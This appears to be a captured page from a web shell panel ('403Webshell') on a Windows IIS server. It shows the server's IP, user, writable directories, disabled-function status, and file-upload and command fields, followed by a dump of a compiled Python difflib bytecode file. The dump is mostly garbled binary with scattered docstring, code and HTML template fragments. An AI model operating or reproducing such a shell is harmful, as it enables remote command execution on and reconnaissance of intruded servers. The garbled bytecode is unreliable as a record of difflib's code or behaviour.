403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/__pycache__/difflib.cpython-315.opt-2.pyc
R
>lqj8Uc�*�,Q Ns]QHGs]QHGs]QHGs]QH%G
s
Gs\QQ	2sQ
s
QQ2sQ!QksQ
sQQ2sQ"QksQ#QksQsQ$QP
-QkksQsQ$QksQsQ%QksP\1QksPP\1QksQsQsQsQsQQ\ 2s!Qs"P!)&�get_close_matches�SequenceMatcher�Differ�HtmlDiff�Match)�nlargest)�
namedtuple)�GenericAlias)�can_colorize�	get_themeza b sizec�8�U%cQU*U*!Q!)g@��?�)�matches�lengths&&�C:\Python315\\Lib\difflib.py�_calculate_ratior(s��
��W�}�v�%�%��c�`�\sQs]-snQQksQsQsQsQsQQks	Qs
QsQQ	ksQ
s
QsQs\\2sQ
sUsP!)rc�^�VmP9UmUmV@mUO	V#2P!�N)�isjunk�a�b�autojunk�set_seqs)�selfrrrrs&&&&&r�__init__�SequenceMatcher.__init__ys)��v�������� �
��
�
�a�rc�L�UOU2UOU2P!r)�set_seq1�set_seq2)rrrs&&&rr�SequenceMatcher.set_seqs�s��	
�
�
�a���
�
�a�rc�R�VOIcP!VmP9UmUmP!r)r�matching_blocks�opcodes)rrs&&rr�SequenceMatcher.set_seq1�s$��*
���;����.2�2���t�|rc��VOIcP!VmP9UmUmPUmUO	2P!r)rr#r$�
fullbcount�_SequenceMatcher__chain_b)rrs&&rr �SequenceMatcher.set_seq2�s5��*
���;����.2�2���t�|�������rc��UOo-9Umo[U2FD(vq4UOU,2oUO	U2J*	[29UmoUOoU%cFUO2FD$oUU2%fJUOU2J&	SFDoV$J	[29Um
o[U2o	UO%ceU	]�6�c\U	]d*]*o
UO2FD(vqK[U2U
6�fJUOU2J*	SFDoV$J	P!P!P!)��)r�b2j�	enumerate�
setdefault�append�set�bjunkr�keys�add�bpopular�lenr�items)rrr,�i�elt�indices�junkr�popular�n�ntest�idxss&           r�	__chain_b�SequenceMatcher.__chain_bs
��
�F�F������3���l�F�A��n�n�S�"�-�G��N�N�1��#�
 �E�!��
�T�������x�x�z���#�;�;��H�H�S�M�"����H��#&�%�'��
����F���=�=�=�Q�#�X���H�q�L�E� �Y�Y�[�	���t�9�u�$��K�K��$�)����H��&�=rc�*�UOUOUOUOO1vqVqxUe[U2oUe[U2oX]q�o	-o,o
[
V2FD�oUOo-oUOV^*U
2FD\oUU6cJUU6�cLJUU]*
]2]*9oUU$UU6�fJ;UU*
]*UU*
]*Sq�o	J^	SoJ�	V�6�c_V�6�cYUVj]*
*2%f>VY]*
*Vj]*
*6XcU	]*
U
]*
U]*q�o	JdV�*U6cUV�*U6cHUVjU**2%f-VYU**VjU**6XcU]*
oJaV�6�c_V�6�cYUVj]*
*2%c>VY]*
*Vj]*
*6XcU	]*
U
]*
U]*q�o	JdV�*U6cUV�*U6cHUVjU**2%c-VYU**VjU**6XcU]*oJa[V�U2!r)	rrr,r1�__contains__r5�range�getr)r�alo�ahi�blo�bhirrr,�isbjunk�besti�bestj�bestsize�j2len�nothingr7�j2lenget�newj2len�j�ks&&&&&              r�find_longest_match�"SequenceMatcher.find_longest_match2s��t"�V�V�T�V�V�T�X�X�t�z�z�7N�7N�N���c��;��a�&�C��;��a�&�C�!$�1�h�������s��A��y�y�H��H��W�W�Q�T�7�+���s�7����8��"*�1�Q�3��"2�Q�"6�6��H�Q�K��x�<�-.�q�S��U�A�a�C��E�1�(�E�(�,��E�!�(�k�e�k��!�!�G�*�%�%��a��j�A�A�g�J�&�%*�1�W�e�A�g�x��z�(�E�(��n�s�"�u�~��';��!�(�N�+�,�,��h���1�8�^�#4�4���M�H��k�e�k��a�a��j�!�!��a��j�A�A�g�J�&�%*�1�W�e�A�g�x��z�(�E�(��n�s�"�u�~��';��a�h��'�(�(��h���1�8�^�#4�4��!�|�H��U�8�,�,rc��UOd
UO![UO2[UO2q!]U]U1,o,oU%c�UO	2vqVqxUOVVVx29vq�q�U%fJ;UO
U2VY6cVz6cUO
VYVz12V�*U6fJzV�*U6fJ�UO
V�*VjU*U12J�UO2]9o
9q�,oSFDLvoooV�*U6XcV�*U6XcUU*
oJ,U%cUO
V�U12SSSq�o
JN	U%cUO
V�U12UO
V]12[[[OU22UmUO!r)r#r5rr�poprSr/�sort�list�mapr�_make)r�la�lb�queuer#rErFrGrHr7rQrR�x�i1�j1�k1�non_adjacent�i2�j2�k2s&                   r�get_matching_blocks�#SequenceMatcher.get_matching_blocks�s���&���+��'�'�'��T�V�V��c�$�&�&�k�B��R��B�� �����!&�����C�c��1�1�#�C�E�E�G�A�!��q��&�&�q�)��7�s�w��L�L�#�#�!1�2��3��9���s���L�L�!�#�s�a�C��!5�6�����
����R���)�J�B��B��w�"�}���B���b���
� �'�'����5���R����*��������-����b�a�[�*�#�C����\�$B�C����#�#�#rc	�`�UOd
UO!]9q,9UmoUO2FDqvqEoPoV6c
V%6cQoLV6cQoLV%6cQoU%cUOVqVBU12VF*VV*q!U%fJ]UOQVAVR12Js	U!)N�replace�delete�insert�equal)r$rfr/)rr7rQ�answer�ai�bj�size�tags&       r�get_opcodes�SequenceMatcher.get_opcodes�s���:�<�<�#��<�<���	�� "�"���v� �4�4�6�L�B�D��C��v�!�&�������������
�
���r�2�4��7�B�G�q��t��
�
����6�8�'7�(�
rc
#� �UO2oU%fQ,oU]*]*Q6Xc8U]*vq4qVoU[VEU*
2U[VgU*
2U1U]$UP*]*Q6Xc7UP*vq4qVoV4[VTU*2U[VvU*21UP$V*o,o	SFD�vq4qVoUQ6XcmVT*
U6�c`U	OV4[VTU*2U[VvU*212U	w�	,o	[VEU*
2[VgU*
2qdU	OV4VVU12J�	U	%c/[	U	2]6XcU	]*]*Q6XfU	w�	P!P!P!3h)rl)rl��rurv)rr�max�minr/r5)
rr<�codesrqr_rcr`rd�nn�groups
&&        r�get_grouped_opcodes�#SequenceMatcher.get_grouped_opcodes$sX���2� � �"���*�+�E���8�A�;�'�!�"'��(��C�R�R��C��q�D�M�2�s�2�!�t�}�b�@�E�!�H���9�Q�<�7�"�"'��)��C�R�R���R�A����C��q�D�M�A�E�"�I�
�U����#(��C�R�R��g�~�"�%�"�*����c�s�2�!�t�}�b�#�b�Q�$�-�H�I������R�A����B�1��
�B��L�L�#�2�2�.�/�$)��#�e�*�a�-�E�!�H�Q�K�7�,B��K�-C�5�s6�F
�F
�AF
�AF
�F
�A>F
�F
�-F
�F
c��[QUO222o[U[UO2[UO
2*2!)c3�>�SF �DpP*w�	J	P!3h�rvr
)�.0�triples& r�	<genexpr>�(SequenceMatcher.ratio.<locals>.<genexpr>ls��/I���/I�V�R�j�j�/I�s�)�sumrfrr5rr)rrs& r�ratio�SequenceMatcher.ratioVs?��,�J�t�/G�/G�/I�J�J�����T�V�V��s�4�6�6�{�)B�C�Crc���UOe9-9UmoUOFDoUOU]2]*V$J 	UOo-o]oUOFDAoV#7c
V2*oLUOU]2oU]*
V2$U]6�fJ8U]*
oJC	[	U[UO2[UO2*2!r)r'rrDrrr5)rr'r8�availr�numbs&     r�quick_ratio�SequenceMatcher.quick_ratioos����?�?�"�+-�-�D�O�j��v�v��",�.�.��a�"8�1�"<�
����_�_�
������6�6�C��|��z��!�~�~�c�1�-�����E�J��a�x��1���� ���T�V�V��s�4�6�6�{�)B�C�Crc��[UO2[UO2q![[	V2V*2!r)r5rrrrx)rr[r\s&  r�real_quick_ratio� SequenceMatcher.real_quick_ratio�s0���T�V�V��c�$�&�&�k�B� ��B��R�W�5�5r)
rrrr,r1r4r'rr#r$)N�r�T)ruNruN)�)�__name__�
__module__�__qualname__�__firstlineno__rrrr r(rSrfrrr|r�r�r��classmethodr�__class_getitem__�__static_attributes__�__classdictcell__��
__classdict__s@rrr-sZ����X>�@
�3�4�X%�Nr-�hE$�N5�n0�dD�2D�:
6�$�L�1�rc���U]6�f[QU802gQSt96:cQ6:fL[QU802g,o[2oUOU2SFDjoUOU2UO	2U6fUO2U6cJ@UO
2oVs6�fJXUOVv12Jl	[V$2oSTTt,tFDvq�UMJ		too!ttooh)ruzn must be > 0: grzcutoff must be in [0.0, 1.0]: )	�
ValueErrorrr rr�r�r�r/�	_nlargest)	�word�
possibilitiesr<�cutoff�result�sr^r��scores	&&&&     rrr�s���:
��6���3�4�4��&��C���v�G�H�H�
�F���A��J�J�t��
��	�
�
�1�
�����&�(�A�M�M�O�f�,D�����	���?��M�M�5�*�%���q�
!�F�$�%�f�(�%�A�f�%�%��%s�C(c�D�POQ[V222!)r�c3�t�SF �D)vqUQ6XcUO2%cSLSw�	J+	P!3h�� )�isspace)r��c�tag_cs&  rr��$_keep_original_ws.<locals>.<genexpr>�s-��%���%�H�A��c�\�a�i�i�k�k��u�4�%�s�
8�8�
8)�join�zip)r��tag_ss&&r�_keep_original_wsr��s$��
�7�7���A�
���rc�P`�\sQsQsnQ
QksQsQsQsQsQs	Qs
Q	sUsP!)r��c� �VmV mP!r��linejunk�charjunk)rr�r�s&&&rr�Differ.__init__-s��(!�
� �
rc
#� �[UOV2oUO2FD�vqEqgoUQ6XcUOVVbVx2o	L`UQ6XcUO	QVU2o	LEUQ6XcUO	QV'U2o	L*UQ6XcUO	QVU2o	L[QU802gS	FPiw�K
J�	P!K
3h)rirj�-rk�+rlr��unknown tag )rr�rr�_fancy_replace�_dumpr�)
rrr�cruncherrqrErFrGrH�gs
&&&       r�compare�Differ.compareDs����4#�4�=�=�!�7��'/�';�';�'=�#�C�c���i���'�'����A������J�J�s�A�C�0������J�J�s�A�C�0������J�J�s�A�C�0�� �S�!:�;�;��L�L�(>�
�s(�6C�C�C�/C�
)C�3B?
�4Cc#�Z �[V42FDoU8QV%*80w�	J	P!3hr�)rC)rrqr^�lo�hir7s&&&&& rr��Differ._dumpms ����r��A� �!�$�'�'��s�)+c#� �Ve*
V2*
6c(UOQVEU2oUOQVU2oL&UOQVU2oUOQVEU2oVx1FDo	S	FPiw�K
J	P!K
3h)r�r�)r�)
rrrErFrrGrH�first�secondr�s
&&&&&&&   r�_plain_replace�Differ._plain_replacersq����9�s�y� ��Z�Z��Q�S�1�E��Z�Z��Q�S�1�F��Z�Z��Q�S�1�E��Z�Z��Q�S�1�F���A��L�L���s�A?�AA?�1A=
�2A?c
#�* �Qo[UO2oUOo	UOo
UOo]
oP9q�X%oo[VV2FCDoUO
UU*2UUU*
*o[[UU*
U2[UU*]*U22oU%fCL�SoSFDJoUOUU*2U	2U6:f
U
2U6:cJ5U2oUU6�fJESSSoq�JL	U
eJ�UOVU
UUU2FPiw�K
V*VN*ooUU6wc�P9ooUOUU2UO2FD�voooooUU*
UU*
o!o UQ6Xc#UQU **
oUQU!**
oJDUQ6XcUQU **
oJ]UQ6XcUQU!**
oJvUQ6Xc#UQU **
oUQU!**
oJ�[Q	U802g	UOUUUU2FPiw�K
LQ
U*w�	U
]*U]*ooP9q�CJ	UOVUUUU2FPiw�K
P!CKYKOK3h)gwJ��?ri�^rjr�rkr�rlr�r��  )rr�r�r�r�rCr rwrxr�
_fancy_helperrrrr��_qformat)"rrrErFrrGrHr�r��crqr�cqr�cr�WINDOW�best_i�best_j�dump_i�dump_jrQ�aequiv�arange�
best_ratior7r��aelt�belt�atags�btagsrq�ai1�ai2�bj1�bj2r[r\s"&&&&&&&                           rr��Differ._fancy_replace�s����4��"�4�=�=�1���(�(���"�"��
�^�^�����������s���A����a��d�#��A��G�_�F��3�v����7��v����2�C�8�:�F����J����!�!�!�A�$�'��6�Z�'�3�5�J�+>������:�%�12�A�u�J�F�J���~���)�)�!�V�*+�V�V�=�
=�
=���A�I�$�D��t�|� "�"����!�!�$��-�/7�/C�/C�/E�+�C��c�3�� �3�Y��c�	��B��i�'���r��)����r��)�������r��)�������r��)�������r��)����r��)��(�S�)B�C�C�0F� �=�=��t�U�E�B�B�B��T�k�!�#�a�Z��!��F�F�"�"�F�V�k!�p�%�%�a��&'���6�	6�	6�=
=�,C�	6�su�B9J�</J�,J�8
J�
J�J�2J
�3J�AJ�(J�J�J�3AJ�>J
�?AJ�J�J�J�Jc#�� �,oV#6c/VV6cUOVV4VV2oL-UOQVU2oLVV6cUOQVEU2oSFPiw�K
P!K3h)r�r�)r�r�)rrrErFrrGrHr�s&&&&&&& rr��Differ._fancy_helper�sX������9��y��'�'����A���J�J�s�A�C�0��
�Y��
�
�3���,�A����s!�	A#�A#�-A#�A#�A!�A#c#�� �[V2O2o[V$2O2oQU*w�	U%c
QUQ0w�	QU*w�	U%cQUQ0w�	P!P!3h)�- z? �
�+ )r��rstrip)r�aline�bliner�r�s&&&&&rr��Differ._qformat�sh��� "�%�/�6�6�8��!�%�/�6�6�8���U�l����u�g�R�.� ��U�l����u�g�R�.� ��s�AA4�
A4�'
A4)r�r�)NN)
r�r�r�r�rr�r�r�r�r�r�r�r�r�s@rrr�s1����l!�.'�R(�
�\6�|
�!�!rc�F�UeUO2Q7!UU2PI!)N�#)�strip)�line�pats&&r�IS_LINE_JUNKr�s+���{��z�z�|�s�"�"��t�9�D� � rc��V7!rr
)�ch�wss&&r�IS_CHARACTER_JUNKr�+s�� �8�Orc��U]*oV*
oU]6XcQOU2!U%f
U]*oQOV#2!�rvz{}z{},{}��format��start�stop�	beginningrs&&  r�_format_range_unifiedrBsE����	�I�
�\�F�
��{��{�{�9�%�%���Q��	��>�>�)�,�,r�colorc
#�J �U%c([2%c[P	Q5Oo	L[P	Q5Oo	[VV#VEU2P
o
[	PV2OU2FCD�oU
%f�P	o
U%cQO
U2LPoU%cQO
U2LPo
U	OQUUUU	O0w�	U	OQUU
UU	O0w�	U]*UP*q�[U]*U]*2o[U]*U]*2oU	OQUQUQUU	O0w�	SFD�voooooUQ	6Xc0UUUFD#oU	OQ
UU	O0w�	J%	J?UQ
7c.UUUFD#oU	OQUU	O0w�	J%	UQ7fJ|UUUFD#oU	OQUU	O0w�	J%	J�	CJ�	P!3h)T)�force_color)�force_no_color�	{}z--- z+++ z@@ -z +z @@rlr�r�r�>rjri>rkri)r	r
�difflib�_check_typesrr|r��header�resetr�hunk�context�removed�added)rr�fromfile�tofile�fromfiledate�
tofiledater<�linetermr�t�startedr{�fromdate�todater��last�file1_range�file2_rangerqr_rcr`rdr�s&&&&&&&&$               r�unified_diffrMs����Z
�����$�'�/�/���T�*�2�2����x��8�L��G� ��a�*�>�>�q�A�A����G�6B�v�}�}�\�2��H�2<�V�]�]�:�.�"�F��X�X�J�d�8�*�X�J�x�j����	�J�J��X�X�J�d�6�(�6�(�8�*�Q�W�W�I�F�F��A�h��b�	�t�+�E�!�H�d�1�g�>��+�E�!�H�d�1�g�>�������[�M��K�=��H�:�a�g�g�Y�O�O�#(��C��R��R��g�~��b��H�D��Y�Y�K�q���q�w�w�i�8�8�%���+�+��b��H�D��Y�Y�K�q���q�w�w�i�8�8�%��+�+��b��H�D��W�W�I�Q�t�f�Q�W�W�I�6�6�%�$)�B�s5�	H#�H#�A$H#�	H#�H#�&CH#�?5H#�51H#�+8H#c��U]*oV*
oU%f
U]*oU]6:cQOU2!QOV"U*]*
2!r�r�r�s&&  r�_format_range_contextr�sO����	�I�
�\�F���Q��	�
��{��{�{�9�%�%��>�>�)��%7�!�%;�<�<rc	#�. �[VV#VEU2[QQQQQ5oP
o	[PV2OU2FCD�o
U	%fcP	o	U%cQO	U2LPoU%cQO	U2LPoQO	V+U2w�	QO	V<U2w�	U
]*U
P*q�QU*w�	[U
]*U]*2oQ	O	V�2w�	[9PIcQ
U
2D%fJP	L	P
LQ
U
22%c:S
FD2vooooUQ6wfJUUUFDoUU*U*w�	J	J4	[U
]*U]*2oQO	UU2w�	[9PIcQ
U
2D%fJP	L	P
LQ
U
22%fCJ�S
FD2vooooUQ6wfJUUUFDoUU*U*w�	J	J4	CJ�	P!3h)r�r�z! r�)rkrjrirlrz
*** {}{}{}z
--- {}{}{}z***************z
*** {} ****{}c3�B�SF �Dvop!Q7w�	J	P!3h)ri>rjrir
�r�rq�_s&  rr��context_diff.<locals>.<genexpr>����5���5���Q��1�a�+�+�5���rkz
--- {} ----{}c3�B�SF �Dvop!Q7w�	J	P!3h)ri>rkrir
rs&  rr�r!�r"r#rj)r�dictrr|r�r�any)rrrrrrr<r�prefixrr{rrr�rrrqr_rcr r�rr`rds&&&&&&&&                r�context_diffr(�s����X��x��8�L�
��d�D��
E�F��G� ��a�*�>�>�q�A�A����G�6B�v�}�}�\�2��H�2<�V�]�]�:�.�"�F��%�%�h�(�C�C��%�%�f�h�?�?��A�h��b�	�t��(�*�*�+�E�!�H�d�1�g�>���$�$�[�;�;��3�I�5�I�3�3�3�I�5�I�I�I�%*�!��R��Q���(�?� !�"�R���$�S�k�D�0�0�!)�&+�
,�E�!�H�d�1�g�>���$�$�[�(�;�;��3�I�5�I�3�3�3�I�5�I�I�I�%*�!��Q��2�r��(�?� !�"�R���$�S�k�D�0�0�!)�&+�1B�sJ�AH�	H�H�0BH�H�H�1H�AH�$H�8H�H�*+Hc��U%cS[U]*[2%f6[Q[U]*2O8QU]*8Q02gU%cS[U]*[2%f6[Q[U]*2O8QU]*8Q02g[U[2%c&[Q[U2O*2g[U[2%c&[Q[U2O*2gSFD(o[U[2%cJ[QU802g	P!)ruz"lines to compare must be str, not � (�)z+input must be a sequence of strings, not %sz all arguments must be str, not: )�
isinstance�str�	TypeError�typer�)rr�args�args&&* rrr�s��	��A�a�D�#�&�&���a��d��,�,�a��d�d�4�5�	5���A�a�D�#�&�&���a��d��,�,�a��d�d�4�5�	5��!�S����E��Q��(�(�)�*�	*��!�S����E��Q��(�(�)�*�	*����#�s�#�#��C�I�J�J�rc	
#�
 �Qo	[[V�22o[[V�22oU	U2oU	U2oU	U2oU	U2oU	U2oUVV4VVVx2o
S
FDoUOQQ2w�	J	P!3h)c��UOQQ2![c0oQ[S2O8QS8Q0o[	S2SgPo=hh9h)�ascii�surrogateescapez!all arguments must be bytes, not r*r+)�decode�AttributeErrorr/r�r.)r��err�msgs&  rr6�diff_bytes.<locals>.decodesK��	*��8�8�G�%6�7�7���	*���G�$�$�a�)�C��C�.�c�)��	*�s��	A�A�*A
�
Ar4r5)rXrY�encode)�dfuncrrrrrrr<rr6�linesr�s&&&&&&&&&   r�
diff_bytesr>s����*�	
�S��^��A��S��^��A��h��H�
�F�^�F��,�'�L��
�#�J��h��H��!��,�A�P�E����k�k�'�#4�5�5��s�BBc�8�[V#2OV2!r)rr�)rrr�r�s&&&&r�ndiffr@,s��F�(�%�-�-�a�3�3rc#�```` �]PHoUOQ2n[VV42n]],1U1QkknUU1QknU1QkoU2oUeSFPiw�K
P!U]*
o]o]P,U*q�P
oUP
Ic)[U2vq�oV�*oV�U1V�$U	]*
o	J.V�6�c	Qw�	SoLS	o]o	U%c(V�*oU	]*
o	V�*w�	U]*oJ/U]*
oU%c3[U2vq�oU%cU]*
oL	U]*oV�U1w�J:J�K�[cP!h9h[cP!h9h3h)ruz
(\++|\-+|\^+)c�:�V299*]*
tt$Ue!V2*UO]2Q*1!UQ6Xc�UO]2UO]2qT,oU1QkoROVu2[U2FD4vovq�U]U	Q*U*VIU
*Q*VJP*oJ6	UQ*oL9UO]2Q*oU%fQoQU*U*Q*oV2*U1!)rv��NN�?c��UOUO]2]*UO2,2UO]2!r�)r/r{�span)�match_object�sub_infos&&r�record_sub_info�3_mdiff.<locals>._make_line.<locals>.record_sub_info�s=������!3�!3�A�!6�q�!9�,�:K�:K�:M� N�O�#�)�)�!�,�,r��r�)rV�sub�reversed)r=�
format_key�side�	num_lines�text�markersrIrJ�key�begin�end�	change_res&&&&       �r�
_make_line�_mdiff.<locals>._make_line{s����.	��1������O�E�I�I�a�L��$4�5�5����!�I�I�a�L�%�)�)�A�,�'��H�6>�
-�
�M�M�/�2�$,�H�#5���K�U��A�e�}�T�)�#�-�d��o�=�d�B�4��:�M��$6���8�D��9�9�Q�<��#�D�����*�$�t�+�d�2�D����%�%rc3�: �,o]]q![U2]6cUO[RQ22J-POSTt,tFDp3]*MJ
	to2oUO	Q2%cSoCL�UO	Q2%cRUQ]2RUQ]2P	1w�	J�UO	Q2%cU]*oRUQ]2PP	1w�	J�UO	Q2%cRUQ]2PqeU]*
]qCLcUO	Q2%cRUP]2RUQ]2P	1w�	CJ4UO	Q2%cRUQ]2RUP]2P	1w�	CJfUO	Q2%cU]*oRUQ]2PP	1w�	CJ�UO	Q2%cU]*
oPRUQ	]2P	1w�	CJ�UO	Q
2%cPRUQ	]2qeU]*]qLlUO	Q	2%cU]*
oPRUQ	]2P	1w�	CJ,UO	Q
2%c#RUQ*P]2RUP]2P
1w�	CJeU]6cU]*
oQw�	JU]6�cU]*oQw�	JUO	Q2%cP!WWP	1w�	CJ�ttoh3h)ru�Xz-?+?rEz--++r�z-+?z-?+z+--r�r�:NNN)z--?+z--+r�)r�z+-)N�r�r�T)r]NT)r5r/�nextr��
startswith)	r=�num_blanks_pending�num_blanks_to_yieldr�r��	from_line�to_linerY�diff_lines_iterators	       ��r�_line_iterator�_mdiff.<locals>._line_iterator�s�������23�Q�/���e�*�q�.����T�"5�s�;�<����U�3�U�T�a���U�3�4�A��|�|�C� � �'9�#����f�%�%� ��s�1�-�z�%��A�/F��L�L�����f�%�%�#�a�'�"� ��s�1�-�t�T�9�9�����3�4�4�%/�u�S��$;�T�'�9K�A�9M�a�$6����e�$�$� ��t�A�.�
�5��Q�0G��M�M�����e�$�$� ��s�1�-�z�%��Q�/G��M�M�����c�"�"�"�a�'�"� ��s�1�-�t�T�9�9�����e�$�$�#�a�'�"��J�u�S��3�T�9�9�����l�+�+�%)�:�e�C��+B�7�9K�A�9M�a�$6����c�"�"�"�a�'�"��J�u�S��3�T�9�9�����c�"�"� ��q��$�q�1�*�U�4��2J�5�P�P��&��)�#�q�(�#�)�)�%��)�#�q�(�#�)�)��|�|�C� � �����,�,��A4�sj�K�+K�K�K�7K�0K�1K�5-K�#1K�1K�2K�:2K�-,K�2K�
(K�6K�
&K�4Kc3�x: �R2o,,q![U2]6Xf[U2]6Xc@[U2vq4oUdUOV512UeJKUOVE12J_UO	]2vq6UO	]2vqGX4S9%fS1w�	J�[cP!h9h3h)T)r5r^�
StopIterationr/rV)	�
line_iterator�	fromlines�tolinesrbrc�
found_diff�fromDiff�to_diffres	        �r�_line_pair_iterator�#_mdiff.<locals>._line_pair_iterators�����'�(�
��R�'���y�>�1�$��G��a���59�-�5H�2�I�
��(��$�$�i�%;�<��&��N�N�G�#7�8�"+�-�-��"2��I�&�{�{�1�~��G��X�%8�%8��9�9��%����sE�B:�B:�B(�B:�B:�AB:�	B:�(	B7�2B7�3B:�6B7�7B:)NNN)�re�compiler@r^rh)rjrkrr�r�rqro�line_pair_iterator�lines_to_write�index�contextLinesrlrbrcr7rerYrXrds&&&&&          @@@@r�_mdiffrwQsv����D��
�
�+�,�I� �	�(�D��78��e�6&�pV-�p:�B-�.����%�%�%�	�1������#$�d�V�W�%5�<��J���%��59�:L�5M�2�I�
��O��#,�z�"B�����
����&�&�!(��!&���� ��O����
��"�o�%��!�#��$�Q�Y�N�
�$�59�:L�5M�2�I�
�!�)0����&�!�+��#�j�8�8�%�I	&��%�����:!�
��
�s��AE�E�D(�%E�:D*�E�'E�;0E�,D<�4D<�
D<�&E�*	D9�4D9�5E�8D9�9E�<	E�E�E�
E�Ea
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="%(charset)s">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Diff comparison</title>
    <style>%(styles)s
    </style>
</head>

<body>
    %(table)s%(legend)s
</body>

</html>af
        :root {color-scheme: light dark}
        table.diff {
            font-family: Menlo, Consolas, Monaco, Liberation Mono, Lucida Console, monospace;
            border: medium;
        }
        .diff_header {
            background-color: #e0e0e0;
            font-weight: bold;
        }
        td.diff_header {
            text-align: right;
            padding: 0 8px;
        }
        .diff_next {
            background-color: #c0c0c0;
            padding: 4px 0;
        }
        .diff_add {background-color:palegreen}
        .diff_chg {background-color:#ffff77}
        .diff_sub {background-color:#ffaaaa}
        table.diff[summary="Legends"] {
            margin-top: 20px;
            border: 1px solid #ccc;
        }
        table.diff[summary="Legends"] th {
            background-color: #e0e0e0;
            padding: 4px 8px;
        }
        table.diff[summary="Legends"] td {
            padding: 4px 8px;
        }

        @media (prefers-color-scheme: dark) {
            .diff_header {background-color:#666}
            .diff_next {background-color:#393939}
            .diff_add {background-color:darkgreen}
            .diff_chg {background-color:#847415}
            .diff_sub {background-color:darkred}
            table.diff[summary="Legends"] {border-color:#555}
            table.diff[summary="Legends"] th{background-color:#666}
        }aZ
    <table class="diff" id="difflib_chg_%(prefix)s_top"
           cellspacing="0" cellpadding="0" rules="groups" >
        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>
        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>
        %(header_row)s
        <tbody>
%(data_rows)s        </tbody>
    </table>a�
    <table class="diff" summary="Legends">
        <tr> <th colspan="2"> Legends </th> </tr>
        <tr> <td> <table border="" summary="Colors">
                      <tr><th> Colors </th> </tr>
                      <tr><td class="diff_add">&nbsp;Added&nbsp;</td></tr>
                      <tr><td class="diff_chg">Changed</td> </tr>
                      <tr><td class="diff_sub">Deleted</td> </tr>
                  </table></td>
             <td> <table border="" summary="Links">
                      <tr><th colspan="2"> Links </th> </tr>
                      <tr><td>(f)irst change</td> </tr>
                      <tr><td>(n)ext change</td> </tr>
                      <tr><td>(t)op</td> </tr>
                  </table></td> </tr>
    </table>c�`�\sQsQsn\s\s\s\s]s]PP\	1Qks
QQQ-QkksQsQs
QsQ	sQ
sQsQsQQ
ksQsUsP!)ri�c�8�VmV mV0mV@mP!r)�_tabsize�_wrapcolumn�	_linejunk�	_charjunk)r�tabsize�
wrapcolumnr�r�s&&&&&rr�HtmlDiff.__init__�s�� �
�%��!��!�r�charsetzutf-8c���UO[UOUOUO	VV4VVQ5UQ5*OUQ2O
U2!))r�numlines)�styles�legend�tabler��xmlcharrefreplace)�_file_templater%�_styles�_legend�
make_tabler;r6)rrjrk�fromdesc�todescrr�r�s&&&&&&&$r�	make_file�HtmlDiff.make_file�s`��&�#�#�d��<�<��<�<��/�/�)�h�*1�"�F��'
�
��6�'�.�/���w��
	@rc�`�U1QkoSTt,tFD
pCU2MJ	ooSTt,tFD
pCU2MJ	ooV1!ttohttoh)c��:�UOQQ2oUORO2oUOQQ2oUOQQ2OQ2!)r�rL�	r�)ri�
expandtabsrzr�)r�rs&�r�expand_tabs�2HtmlDiff._tab_newline_replace.<locals>.expand_tabssS����<�<��D�)�D��?�?�4�=�=�1�D��<�<��D�)�D��<�<��S�)�0�0��6�6rr
)rrjrkr�r�sf&&  r�_tab_newline_replace�HtmlDiff._tab_newline_replace�sM���	7�4=�=�9�4�[��&�9�	�=�18�9���;�t�$���9�� � ��>��9s�:�?c�X�U%fUOV#12P![U2oUOoVE6:f$VCOQ2]**
U6:cUOV#12P!]o]oPoVu6c^Vd6cXV6*Q6XcU]*
oV6*oU]*
oJ5V6*Q6XcU]*
oPoJOU]*
oU]*
oJcUPUo	V6Po
U%cU	Q*o	QU*U
*o
UOV)12UO	UQU
2P!)NrLrM�>)r/r5r{�count�_split_line)r�	data_list�line_numrSrprwr7r<�mark�line1�line2s&&&&       rr��HtmlDiff._split_lines������h�_�-���4�y�������K�d�Z�Z��%5�a�%7�8�S�@����h�_�-��
��
�����g�!�(��w�$���Q����w���Q�����D���Q������Q����Q����R�a����R���
��D�L�E��4�K�%�'�E�	���(�)�*�	
����3�u�-rc#�D �SFD�vq#oUe
V#U1w�	JV#tvqVvqx,,q�UOV�U2UOV�U2U	%fU
%fJTU	%cU	O]2oLQoU
%cU
O]2oLQoV#U1w�	JS	P!3h)N)r�r�)r�rV)r�diffs�fromdata�todata�flag�fromline�fromtext�toline�totext�fromlist�tolists&&         r�
_line_wrapper�HtmlDiff._line_wrapperFs����%*� �H�D��|��d�*�*��2:�/��X���!��V����X�x�8����V�6�2��f�f��'�|�|�A��H�'�H��#�Z�Z��]�F�%�F��d�*�*�-%*�s"�B �?B �B �B �#B �?!B c�N�,,,qCoSFDbvqVoUOUO]U,UN32UOUO]U,UN32UOU2Jd	V#U1![c&SOP2SOP2KHh9h)ru)r/�_format_liner.)rr�r�r��flaglistr�r�r�s&&      r�_collect_lines�HtmlDiff._collect_linesbs���$&�b����$)� �H�D�
$����� 1� 1�!�D� C�(� C�D��
�
�d�/�/��$�?��?�@�

�O�O�D�!�%*��x�'�'���
$�����%��
�
�d�#�
$�s�A
A4�4	B$�>#B$�#B$c�^�QU*oQUOU*8U8Q0oUOQQ2OQQ2OQQ2oUOQ	Q
2O2oU%cQLQ	oQUQUQ
0QUQUQ
0*![cPoK�h9h)z%dz id="�"�&z&amp;r�z&gt;�<z&lt;r��&nbsp;z class="diff_changed" z<td class="diff_header"z</td>z<tdznowrap="nowrap">)�_prefixr.rir�)rrQr��linenumrS�id�	css_classs&&&&&  rr��HtmlDiff._format_linews���	��W�n�G�!%���d�!3�G�<�B�
�\�\�#�g�
&�
.�
.�s�6�
:�
B�
B�3�v�
N���|�|�C��)�0�0�2��15�,�#�	�(���A�g�Y�e�<��I�;�.�t�f�E�:�;�	;���	��B�	�s�$B�	B,�&B,�+B,c��Q[O*oQ[O*o[9O]*
